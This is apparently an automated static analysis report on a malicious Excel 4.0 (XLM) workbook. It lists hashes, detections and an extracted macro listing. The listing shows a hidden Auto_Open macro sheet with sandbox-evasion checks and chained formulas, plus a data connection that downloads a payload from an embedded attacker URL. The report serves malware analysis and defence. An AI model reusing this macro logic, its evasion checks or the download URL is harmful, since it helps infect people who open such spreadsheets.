Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a83890bbc081b9ec…

MALICIOUS

Office (OLE)

110.0 KB Created: 2020-02-27 10:23:09 Authoring application: Microsoft Excel First seen: 2020-07-24
MD5: b8950f584f821b04370a54090b1ef385 SHA-1: 5dd0e43b7b8da2c18645622c8d749a52bafb75ec SHA-256: a83890bbc081b9ec839c9a32ec06eae6f549a0f85fe0a30751ef229a58e440af
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains Excel 4.0 macros, specifically an Auto_Open macro that uses dangerous functions like RUN. The macro is designed to download and execute a payload from the embedded URL 'https://pnxkntdl.xyz/KJSDBViad7'. This indicates a downloader functionality, commonly associated with initial access via spearphishing attachments.

Heuristics 5

  • ClamAV: Xls.Downloader.Abracadabra-f87353785a988c8e-9950319-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.Abracadabra-f87353785a988c8e-9950319-0
  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://pnxkntdl.xyz/KJSDBViad7 In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 2160 bytes
SHA-256: 1bd36069d26d3101efc0d3aac9964d0e1f54652d1900a0fb3e11b4c1c8a791f7
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, hidden -  sbdvkhsbdv
' 0018     32 LABEL : Cell Value, String Constant - adfef2 len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x00\x00c\x00f\x00\x18\x00\x18\x00'
' 0018     26 LABEL : Cell Value, String Constant - asdf len=7 ptgRef3d  sbdvkhsbdv!L42 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  sbdvkhsbdv!D49 
' 0018     36 LABEL : Cell Value, String Constant - DSKVJBdsj2 len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x00\x00m\x00p\x00\x14\x00\x14\x00'
' 0018     29 LABEL : Cell Value, String Constant - fghjdgh len=7 ptgRef3d  sbdvkhsbdv!L44 
' 0018     29 LABEL : Cell Value, String Constant - sfgdfsh len=7 ptgRef3d  sbdvkhsbdv!I66 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  sbdvkhsbdv,L42,"IF(ISNUMBER(SEARCH("LOS", Sheet!U113)),GOTO(sfgdfsh),ON.TIME(NOW()+"00:00:02","fghjdgh"))",""
'  sbdvkhsbdv,L43,RETURN(),""
'  sbdvkhsbdv,L44,"IF(ISNUMBER(SEARCH("LOS", Sheet!U113)),GOTO(sfgdfsh),ON.TIME(NOW()+"00:00:02","asdf"))",""
'  sbdvkhsbdv,L45,RETURN(),""
'  sbdvkhsbdv,D49,"IF(GET.WORKSPACE(19),,CLOSE(TRUE))",""
'  sbdvkhsbdv,D50,"IF(GET.WORKSPACE(42),,CLOSE(TRUE))",""
'  sbdvkhsbdv,D51,"IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))),ON.TIME(NOW()+"00:00:02","asdf"),CLOSE(TRUE))",""
'  sbdvkhsbdv,D52,RETURN(),""
'  sbdvkhsbdv,I66,"FORMULA.FILL( Sheet!U110, sbdvkhsbdv!I70)",""
'  sbdvkhsbdv,I67,"FORMULA.FILL( Sheet!U111, sbdvkhsbdv!I71)",""
'  sbdvkhsbdv,I68,"FORMULA.FILL( Sheet!U112, sbdvkhsbdv!I72)",""
'  sbdvkhsbdv,I69,"FORMULA.FILL( Sheet!U113, sbdvkhsbdv!I73)",""
' 0876    135 DCONN : Data Connection
'  ASCII:
'   Connection
'   https://pnxkntdl.xyz/KJSDBViad7
'   Sheet1!DSKVJBdsj2